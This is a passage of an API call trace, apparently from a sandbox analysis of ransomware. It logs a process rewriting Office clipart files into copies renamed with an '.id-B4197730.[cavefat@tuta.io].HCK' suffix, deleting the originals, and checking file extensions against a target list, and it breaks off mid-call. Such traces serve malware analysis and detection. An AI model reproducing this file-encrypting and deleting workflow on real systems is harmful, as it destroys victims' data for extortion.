(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.544] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=14632) returned 1 [0168.544] CloseHandle (hObject=0x330) returned 1 [0168.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 0x220 [0168.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.561] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.561] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.565] GetLastError () returned 0x0 [0168.565] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3928, lpOverlapped=0x0) returned 1 [0168.566] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3930, lpOverlapped=0x0) returned 1 [0168.567] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.567] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.567] SetEndOfFile (hFile=0x360) returned 1 [0168.569] CloseHandle (hObject=0x360) returned 1 [0168.570] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.570] SetEndOfFile (hFile=0x3ac) returned 1 [0168.580] CloseHandle (hObject=0x3ac) returned 1 [0168.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 1 [0168.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0168.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0168.586] lstrlenW (lpString=".doc") returned 4 [0168.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.586] lstrlenW (lpString=".docx") returned 5 [0168.586] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0168.586] lstrlenW (lpString=".pdf") returned 4 [0168.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.586] lstrlenW (lpString=".xls") returned 4 [0168.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.587] lstrlenW (lpString=".xlsx") returned 5 [0168.587] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0168.587] lstrlenW (lpString=".ppt") returned 4 [0168.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0168.587] lstrlenW (lpString=".zip") returned 4 [0168.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.587] lstrlenW (lpString=".rar") returned 4 [0168.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.587] lstrlenW (lpString=".bz2") returned 4 [0168.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.587] lstrlenW (lpString=".7z") returned 3 [0168.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0168.587] lstrlenW (lpString=".dbf") returned 4 [0168.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0168.587] lstrlenW (lpString=".1cd") returned 4 [0168.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0168.587] lstrlenW (lpString=".jpg") returned 4 [0168.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0168.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0168.587] lstrlenW (lpString=".doc") returned 4 [0168.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.587] lstrlenW (lpString=".docx") returned 5 [0168.587] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0168.587] lstrlenW (lpString=".pdf") returned 4 [0168.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.587] lstrlenW (lpString=".xls") returned 4 [0168.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.587] lstrlenW (lpString=".xlsx") returned 5 [0168.587] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0168.587] lstrlenW (lpString=".ppt") returned 4 [0168.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0168.587] lstrlenW (lpString=".zip") returned 4 [0168.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.587] lstrlenW (lpString=".rar") returned 4 [0168.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.587] lstrlenW (lpString=".bz2") returned 4 [0168.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.588] lstrlenW (lpString=".7z") returned 3 [0168.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0168.588] lstrlenW (lpString=".dbf") returned 4 [0168.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0168.588] lstrlenW (lpString=".1cd") returned 4 [0168.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0168.588] lstrlenW (lpString=".jpg") returned 4 [0168.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.588] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.588] lstrlenW (lpString="J0151073.WMF") returned 12 [0168.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.595] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=13336) returned 1 [0168.595] CloseHandle (hObject=0x360) returned 1 [0168.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 0x220 [0168.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.612] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.612] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.618] GetLastError () returned 0x0 [0168.618] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3418, lpOverlapped=0x0) returned 1 [0168.621] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3420, lpOverlapped=0x0) returned 1 [0168.621] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.622] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.622] SetEndOfFile (hFile=0x360) returned 1 [0168.624] CloseHandle (hObject=0x360) returned 1 [0168.626] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.626] SetEndOfFile (hFile=0x330) returned 1 [0168.631] CloseHandle (hObject=0x330) returned 1 [0168.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 1 [0168.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0168.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0168.638] lstrlenW (lpString=".doc") returned 4 [0168.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.638] lstrlenW (lpString=".docx") returned 5 [0168.638] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0168.638] lstrlenW (lpString=".pdf") returned 4 [0168.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.638] lstrlenW (lpString=".xls") returned 4 [0168.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.638] lstrlenW (lpString=".xlsx") returned 5 [0168.639] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0168.639] lstrlenW (lpString=".ppt") returned 4 [0168.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0168.639] lstrlenW (lpString=".zip") returned 4 [0168.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.639] lstrlenW (lpString=".rar") returned 4 [0168.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString=".bz2") returned 4 [0168.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString=".7z") returned 3 [0168.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0168.639] lstrlenW (lpString=".dbf") returned 4 [0168.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0168.639] lstrlenW (lpString=".1cd") returned 4 [0168.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0168.639] lstrlenW (lpString=".jpg") returned 4 [0168.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0168.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0168.639] lstrlenW (lpString=".doc") returned 4 [0168.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString=".docx") returned 5 [0168.639] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0168.639] lstrlenW (lpString=".pdf") returned 4 [0168.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString=".xls") returned 4 [0168.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.639] lstrlenW (lpString=".xlsx") returned 5 [0168.639] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0168.639] lstrlenW (lpString=".ppt") returned 4 [0168.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0168.639] lstrlenW (lpString=".zip") returned 4 [0168.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.639] lstrlenW (lpString=".rar") returned 4 [0168.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString=".bz2") returned 4 [0168.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.639] lstrlenW (lpString=".7z") returned 3 [0168.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0168.640] lstrlenW (lpString=".dbf") returned 4 [0168.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0168.640] lstrlenW (lpString=".1cd") returned 4 [0168.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0168.640] lstrlenW (lpString=".jpg") returned 4 [0168.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.640] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.640] lstrlenW (lpString="J0152436.WMF") returned 12 [0168.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.644] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=11340) returned 1 [0168.644] CloseHandle (hObject=0x3ac) returned 1 [0168.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 0x220 [0168.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.657] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.657] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.668] GetLastError () returned 0x0 [0168.668] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2c4c, lpOverlapped=0x0) returned 1 [0168.670] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2c50, lpOverlapped=0x0) returned 1 [0168.671] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.671] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.671] SetEndOfFile (hFile=0x354) returned 1 [0168.675] CloseHandle (hObject=0x354) returned 1 [0168.676] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.676] SetEndOfFile (hFile=0x388) returned 1 [0168.682] CloseHandle (hObject=0x388) returned 1 [0168.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 1 [0168.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0168.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0168.683] lstrlenW (lpString=".doc") returned 4 [0168.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.684] lstrlenW (lpString=".docx") returned 5 [0168.684] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.684] lstrlenW (lpString=".pdf") returned 4 [0168.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.684] lstrlenW (lpString=".xls") returned 4 [0168.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.684] lstrlenW (lpString=".xlsx") returned 5 [0168.684] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.684] lstrlenW (lpString=".ppt") returned 4 [0168.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0168.684] lstrlenW (lpString=".zip") returned 4 [0168.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.684] lstrlenW (lpString=".rar") returned 4 [0168.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.684] lstrlenW (lpString=".bz2") returned 4 [0168.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.684] lstrlenW (lpString=".7z") returned 3 [0168.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0168.684] lstrlenW (lpString=".dbf") returned 4 [0168.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0168.684] lstrlenW (lpString=".1cd") returned 4 [0168.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0168.684] lstrlenW (lpString=".jpg") returned 4 [0168.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0168.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0168.684] lstrlenW (lpString=".doc") returned 4 [0168.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.684] lstrlenW (lpString=".docx") returned 5 [0168.684] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.684] lstrlenW (lpString=".pdf") returned 4 [0168.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.684] lstrlenW (lpString=".xls") returned 4 [0168.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.684] lstrlenW (lpString=".xlsx") returned 5 [0168.684] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.684] lstrlenW (lpString=".ppt") returned 4 [0168.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0168.684] lstrlenW (lpString=".zip") returned 4 [0168.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.684] lstrlenW (lpString=".rar") returned 4 [0168.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.684] lstrlenW (lpString=".bz2") returned 4 [0168.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.684] lstrlenW (lpString=".7z") returned 3 [0168.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0168.685] lstrlenW (lpString=".dbf") returned 4 [0168.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0168.685] lstrlenW (lpString=".1cd") returned 4 [0168.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0168.685] lstrlenW (lpString=".jpg") returned 4 [0168.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.685] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.685] lstrlenW (lpString="J0152568.WMF") returned 12 [0168.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0168.686] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3696) returned 1 [0168.686] CloseHandle (hObject=0x398) returned 1 [0168.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft 